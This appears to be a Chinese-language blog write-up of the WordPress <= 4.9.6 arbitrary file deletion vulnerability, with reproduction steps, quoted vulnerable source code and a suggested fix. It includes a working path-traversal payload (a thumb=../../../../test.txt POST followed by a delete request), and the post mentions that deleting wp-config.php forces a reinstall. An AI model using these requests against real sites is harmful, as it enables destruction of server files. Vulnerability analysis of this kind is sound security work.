Wordpress <= 4.9.6 任意文件删除漏洞

Wordpress <= 4.9.6 任意文件删除漏洞

前言

从 3.7.0 版本开始, WordPress 在用户登录时,会在后台对小版本的改变进行更新,这样不利于我们分析代码。我们可以通过将 AUTOMATIC_UPDATER_DISABLED 设置成 true ,来禁止 WordPress 后台自动更新(在 wp-config.php 文件开头添加 define('AUTOMATIC_UPDATER_DISABLED', true); 即可)。

漏洞复现

​ 先在自己目录下面简单建一个文件,方便测试。WordPress中如果把wp-config.php文件删除系统会重装的。

我们需要一个角色,最低是一个作者。

Wordpress <= 4.9.6 任意文件删除漏洞

然后用test用户登录,如下图操作。再点编辑。

Wordpress <= 4.9.6 任意文件删除漏洞

然后我们在F12里面搜索_wpnonce找到这两个东西

<input type="hidden" id="_wpnonce" name="_wpnonce" value="09a8cc3a73">

<a class="submitdelete deletion" onclick="return showNotice.warn();" href="http://localhost/dmsj/wordpress49/wp-admin/post.php?post=6&amp;action=delete&amp;_wpnonce=004d81ba04">永久删除</a>

然后点击更新然后抓包到Repeater

<input type="hidden" id="_wpnonce" name="_wpnonce" value="09a8cc3a73">
// 将POST包替换为如下 其中post_ID对应你URL对应的POST  
// thumb对应删除文件 _wpnonce对应上面的value
POST值
action=editattachment&_wpnonce=09a8cc3a73&post_ID=6&thumb=../../../../test.txt

Wordpress <= 4.9.6 任意文件删除漏洞

这样子是证明写入数据库了,报错就说明失败了。我们查看wp_postmeta发现成功写入

Wordpress <= 4.9.6 任意文件删除漏洞

然后我们第二步

_wpnonce=004d81ba04">永久删除</a>
// GET请求下面URL  _wpnonce对应上面的值
/wp-admin/post.php?post=6&action=delete&_wpnonce=004d81ba04

然后我们的文件以及被删除

漏洞分析

倒着来分析吧,首先直接定位wp-admin/post.php文件246行

case 'delete':
	check_admin_referer('delete-post_' . $post_id);
	if ( ! $post )
		wp_die( __( 'This item has already been deleted.' ) );
	if ( ! $post_type_object )
		wp_die( __( 'Invalid post type.' ) );
	if ( ! current_user_can( 'delete_post', $post_id ) )
		wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );
	if ( $post->post_type == 'attachment' ) {
		$force = ( ! MEDIA_TRASH );
		if ( ! wp_delete_attachment( $post_id, $force ) )
			wp_die( __( 'Error in deleting.' ) );
	} else {
		if ( ! wp_delete_post( $post_id, true ) )
			wp_die( __( 'Error in deleting.' ) );
	}
	wp_redirect( add_query_arg('deleted', 1, $sendback) );
	exit();

由于我们删除的是图片附件,所以程序会进入wp_delete_attachment函数。wp-include/post.php。截取关键部分5002行

if ( ! empty($meta['thumb']) ) {  //5002行
	if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb-=>esc_like($meta['thumb'] ) . '%', $post_id)) ) {
	$thumbfile = str_replace(basename($file), $meta['thumb'], $file);
	$thumbfile = apply_filters( 'wp_delete_file', $thumbfile );
	@ unlink( path_join($uploadpath['basedir'], $thumbfile) );
		}
	}

然而$meta['thumb']可控并且没有任何过滤。从数据库中带出来【为什么从数据库带出来呢】

在/wp-admin/post.php文件中,也就是我们第一步POST传入的值。直接带进去的更新我们的图片文件。

case 'editattachment':  //178行
	check_admin_referer('update-post_' . $post_id);

	// Don't let these be changed
	unset($_POST['guid']);
	$_POST['post_type'] = 'attachment';

	// Update the thumbnail filename
	$newmeta = wp_get_attachment_metadata( $post_id, true );
	$newmeta['thumb'] = $_POST['thumb'];
	wp_update_attachment_metadata( $post_id, $newmeta );

漏洞修复

过滤$_POST['thumb']

上一篇:苹果手机滚动条样式无效


下一篇:tp批量压缩图片